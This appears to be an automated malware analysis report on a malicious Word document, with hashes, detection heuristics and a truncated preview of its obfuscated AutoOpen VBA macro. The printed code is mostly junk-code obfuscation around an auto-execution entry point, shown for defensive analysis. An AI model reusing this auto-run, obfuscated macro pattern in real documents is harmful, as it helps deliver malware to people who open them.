Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92c2ea211993bf50…

MALICIOUS

Office (OLE)

108.2 KB Created: 2019-04-08 13:43:00 Authoring application: Microsoft Office Word First seen: 2019-04-21
MD5: db9a8bab9de8cec75da4729ff8799023 SHA-1: 9f23c56cabfd7f573c672443ff1849398e338040 SHA-256: 92c2ea211993bf50ed608377a71dd237210eb08c19547460c3e4ea4d07db75c4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The macro's code is heavily obfuscated, but the presence of GetObject calls and auto-execution markers suggests it's intended to download and run a secondary payload. The specific family is not identifiable from the provided evidence.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6936379-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6936379-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46170 bytes
SHA-256: dc468b658f8f440cda4d889f894eda7720275232ff3da7cf420c9444be7fc2a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nQZQABA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uAGQD4A"
Attribute VB_Base = "0{06B77664-9AB8-4C94-807B-03EE1AACD1CF}{D7720C2B-E54F-43B7-A63E-A01957DF3450}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lAUAAA"
Attribute VB_Base = "0{E4241BD9-70AD-495A-B0A6-7944A4E471F5}{1A9A999D-9CF9-4FCC-BCF3-17E2879CB4F0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "BAAxAQ"
Function FGD11DB_()
      If WAxXDZcA = 702893809 Then
      Select Case iAUA_U
         Case 726230268
            Day _
CInt(663802742)
            Day CStr(lABGA_ _
* 657951600 / 52461571 + Log(iAxUQB))
            Day 320730138
         Case 856047529
            Day 638501017
            Day _
Atn(774042504)
            Day Cos(CwAkA4 + _
CSng(PAZBAA))
      End Select
      If wBGAADB Xor RAA_AGA Then
         Day _
Hex(239155425)
      End If
   End If
      If pAQUoBGo = 264166711 Then
      Select Case CUAAAAB
         Case 573052125
            Day _
CInt(611808085)
            Day CStr(qZAoAUx _
* 592419571 / 982175949 + Log(C_BQAX4A))
            Day 935342456
         Case 298850573
            Day 938123627
            Day _
Atn(559087229)
            Day Cos(awAU1oUA + _
CSng(dDcAAZ))
      End Select
      If CQQ4xXkB Xor tAXGDU Then
         Day _
Hex(27956730)
      End If
   End If
End Function
Sub autoopen()
TCQCUAwx
End Sub
Function IxcQAD()
      If kkDCwUQA = 605833274 Then
      Select Case zDDACQA
         Case 370560697
            Day _
CInt(612754946)
            Day CStr(QBADAxB _
* 809136266 / 912720270 + Log(RUAXUcBx))
            Day 323145439
         Case 444886570
            Day 961938349
            Day _
Atn(353837522)
            Day Cos(pDUwAAG + _
CSng(SBXADx_U))
      End Select
      If YG1QcU Xor tDAAAAAk Then
         Day _
Hex(162287831)
      End If
   End If
      If MUZAxc = 581182468 Then
      Select Case sAAD4GU
         Case 535935631
            Day _
CInt(150457050)
            Day CStr(fcAAA1 _
* 408103439 / 381075712 + Log(BBoAkCAB))
            Day 711591388
         Case 109800825
            Day 433304621
            Day _
Atn(708025112)
            Day Cos(CB1QAcDZ + _
CSng(z14xA11))
      End Select
      If UA4QBGGA Xor dCAA4AD Then
         Day _
Hex(252289241)
      End If
   End If
End Function


Attribute VB_Name = "fGo4Bk"
Function HA_ADQ_()
      If VDGAkGxX = 358991648 Then
      Select Case KAADAUCQ
         Case 581259461
            Day _
CInt(435121467)
            Day CStr(qkAAAGZ _
* 222998589 / 117106289 + Log(wDoUDCk))
            Day 611070796
         Case 321667106
            Day 530692782
            Day _
Atn(331582934)
            Day Cos(C4cZ_A1B + _
CSng(wD1cQwx))
      End Select
      If EkwXAA Xor iBBUAA Then
         Day _
Hex(175267151)
      End If
   End If
      If jAABAw = 446567744 Then
      Select Case jBAxUAk
         Case 271436817
            Day _
CInt(78646926)
            Day CStr(fDBUAU _
* 620900777 / 509728804 + Log(LcZkUGZ))
            Day 231629577
         Case 728974460
            Day 596165862
            Day _
Atn(2958045)
            Day Cos(BQ411A + _
CSng(o1DCAQ))
      End Select
      If GCxowA Xor cQA_xcB_ Then
         Day _
Hex(686459690)
      End If
   End If
      If bkA1ZQxB = 73173420 Then
      Select Case mAAAook
         Case 766917536
            Day _
CInt(14115116)
            Day CS
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.